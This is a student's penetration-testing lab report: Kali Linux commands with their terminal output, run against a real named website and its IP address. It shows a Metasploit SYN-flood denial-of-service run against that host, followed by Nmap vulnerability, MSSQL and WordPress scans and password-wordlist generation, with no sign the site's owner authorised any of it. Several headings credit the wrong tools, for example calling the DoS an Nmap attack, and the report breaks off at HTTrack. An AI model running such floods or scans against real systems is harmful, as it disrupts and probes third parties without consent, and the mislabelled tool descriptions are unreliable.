

Task Report 1

28/02/2023

Name: Darshan Achar

Register No. : 145cs20004

G O V E R N M E N T P O L Y T E C H N I C U D U P I



1.DoS attack using Nmap

A denial-of-service attack is a type of cyber-attack in which the perpetrator attempts to make a machine or network resource unavailable to its intended users by temporarily or indefinitely disrupting the services of a host connected to a network. The Nmap Scripting Engine (NSE) contains a plethora of scripts that can be used to launch DoS attacks.

Command (steps-by-steps):

- 1.msfconsole
- 2.use auxiliary /dos/tcp/synflood
- 3.show options
- 4.set RHOST <target>
- 5.run

Output:

```
[*] Using auxiliary/dos/tcp/synflood
msf6 auxiliary(dos/tcp/synflood) > show options

Module options (auxiliary/dos/tcp/synflood):

  Name      Current Setting  Required  Description
  ---      -
INTERFACE  no               no        The name of the interface
NUM         no               no        Number of SYNs to send (else unlimited)
RHOSTS      yes              yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT       80               yes       The target port
SHOST       no               no        The spoofable source address (else randomizes)
SNAPLEN     65535            yes       The number of bytes to capture
SPORT       no               no        The source port (else randomizes)
TIMEOUT     500              yes       The number of seconds to wait for new data

View the full module info with the info, or info -d command.

msf6 auxiliary(dos/tcp/synflood) > set RHOST mitkundapura.com
RHOST => mitkundapura.com
msf6 auxiliary(dos/tcp/synflood) > run
[*] Running module against 217.21.87.244

[*] SYN flooding 217.21.87.244:80 ...
^Z
zsh: suspended sudo msfconsole

(kali@kali)-[~]
$ echo Darshan Achar
Darshan Achar
```

2.SQL empty password enumeration scanning using Nmap.

The ms-sql-empty-password.nse script tries to login to Microsoft SQL Servers with an empty password for the sysadmin (sa) account.

SQL Server credentials are not required Criteria for running:

Host script: Will be executed if the script arguments mssql.instance-all, mssql.instance-name, or mssql.instance-port are used.

Port script: Will run against any SQL Server services if the mssql.instance-all, mssql.instance-name, and mssql.instance-port script arguments are not used.

Command:

```
nmap -p 1433 --script ms-sql-info --script-args mssql.instance-port=1433 <target>
```

Output:

```
(kali㉿kali)-[~]
$ nmap -p 1433 --script ms-sql-info --script-args mssql.instance-port=1433 mitkunda

Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-28 04:06 EST
Nmap scan report for mitkundapura.com (217.21.87.244)
Host is up (0.099s latency).
Other addresses for mitkundapura.com (not scanned): 2a02:4780:11:771:0:2d4c:6d7f:1

PORT      STATE      SERVICE
1433/tcp  filtered  ms-sql-s

Nmap done: 1 IP address (1 host up) scanned in 11.25 seconds

(kali㉿kali)-[~]
$ echo Darshan Achar
Darshan Achar
```

3.Vulnerability scan using Nmap.

Nmap, or network mapper, is a toolkit for network functionality and penetration testing, which includes port scanning and vulnerability detection.

Nmap scripting engine (NSE) Script is one of Nmap's most popular and powerful features. Penetration testers and hackers use these Nmap vulnerability scan scripts to examine commonly known vulnerabilities.

The Common Vulnerabilities and Exposures (CVE) database contains publicly disclosed data security flaws. It is a reference model for detecting vulnerabilities and threats to information system security.

Command: `nmap -sV --script=vulscan/vulscan.nse <target>`

Output:

```
(kali@kali)-[~]
$ git clone https://github.com/scipag/vulscan scipag_vulscan
Cloning into 'scipag_vulscan'...
remote: Enumerating objects: 282, done.
remote: Counting objects: 100% (18/18), done.
remote: Compressing objects: 100% (16/16), done.
remote: Total 282 (delta 6), reused 7 (delta 2), pack-reused 264
Receiving objects: 100% (282/282), 17.49 MiB | 431.00 KiB/s, done.
Resolving deltas: 100% (169/169), done.

(kali@kali)-[~]
$ ln -s `pwd`/scipag_vulscan /usr/share/nmap/scripts/vulscan
ln: failed to create symbolic link '/usr/share/nmap/scripts/vulscan': Permission denied

(kali@kali)-[~]
$ sudo ln -s `pwd`/scipag_vulscan /usr/share/nmap/scripts/vulscan
[sudo] password for kali:

(kali@kali)-[~]
$ ls
192.168.65.128  2023-01-22-ZAP-Report-3  Documents  hts-log.txt  Pictures  Templates  www.compromath.com
2023-01-22-ZAP-Report-2023-01-22-ZAP-Report-.html  Downloads  Music  Public  Videos  www.mitkundapura.com
2023-01-22-ZAP-Report-2  Desktop  hts-cache  new  scipag_vulscan  wordlist.com

(kali@kali)-[~]
$ cd scipag_vulscan

(kali@kali)-[~/scipag_vulscan]
$ ls
_config.yml  cve.csv  logo.png  osvdb.csv  scipvuldb.csv  securitytracker.csv  utilities  xforce.csv
COPYING.TXT  exploitdb.csv  openvas.csv  README.md  securityfocus.csv  update.sh  vulscan.nse

(kali@kali)-[~/scipag_vulscan]
$ nmap -sV --script=vulscan/vulscan.nse mitkundapura.com
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-02 03:50 EST
Nmap scan report for mitkundapura.com (217.21.87.244)
Host is up (0.042s latency).
Other addresses for mitkundapura.com (not scanned): 2a02:4780:11:771:0:2d4c:6d7f:1
Not shown: 996 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
21/tcp    open  tcpwrapped
80/tcp    open  tcpwrapped
443/tcp   open  tcpwrapped
3306/tcp  open  tcpwrapped

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.78 seconds

(kali@kali)-[~/scipag_vulscan]
$ echo Darshan Achar
Darshan Achar
```

4. Create a password list using character "fghy". The password should be minimum and maximum length of 4 letters using tool Hydra.

Hydra (or THC Hydra) is a parallelized network login cracker that can be found in a variety of operating systems, including Kali Linux, Parrot, and other major penetration testing environments. Hydra operates by employing various methods to perform brute-force attacks in order to guess the correct username and password combination.

Command: `crunch 4 4 fghy -o wordlist.com`

Output:

```
(kali㉿kali)-[~]
└─$ crunch 4 4 fghy -o wordlist.com
Crunch will now generate the following amount of data: 1280 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 256

crunch: 100% completed generating output

(kali㉿kali)-[~]
└─$ ls
192.168.65.128      2023-01-22-ZAP-Report-3  Documents  Pictures  Videos
2023-01-22-ZAP-Report-  2023-01-22-ZAP-Report-.html  Downloads  Public    wordlis
2023-01-22-ZAP-Report-2 Desktop                Music       Templates

(kali㉿kali)-[~]
└─$ echo Darshan Achar
Darshan Achar
```

5.WordPress scan using Nmap.

WordPress is a free and open-source content management system written in HTML and paired with a MySQL or MariaDB database that supports HTTPS. A plugin architecture and a template system, referred to as "Themes" within WordPress, are among the features.

Command:

```
nmap --script http-wordpress-enum --script-args type="themes" <target>
```

Output:

```
(kali㉿kali)-[~]
$ nmap --script http-wordpress-enum --script-args type="themes" mitkundapura.com
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-28 04:40 EST
Nmap scan report for mitkundapura.com (217.21.87.244)
Host is up (0.51s latency).
Other addresses for mitkundapura.com (not scanned): 2a02:4780:11:771:0:2d4c:6d7f:1
Not shown: 933 filtered tcp ports (no-response), 60 filtered tcp ports (host-unreac
PORT      STATE SERVICE
20/tcp    closed ftp-data
21/tcp    open  ftp
80/tcp    open  http
443/tcp   open  https
3306/tcp  open  mysql
7443/tcp  open  oracleas-https
8443/tcp  open  https-alt

Nmap done: 1 IP address (1 host up) scanned in 220.50 seconds

(kali㉿kali)-[~]
$ echo Darshan Achar
Darshan Achar
```


6.What is the use of HTTrack? command to copy website?

HTTrack enables users to download websites from the Internet to their local computer. By default, HTTrack arranges the downloaded site based on the relative link structure of the original site. By opening a page of the downloaded (or "mirrored") website in a browser, you can browse it.

Command: httrack <target>

we can also use their Official software.

Output (software):

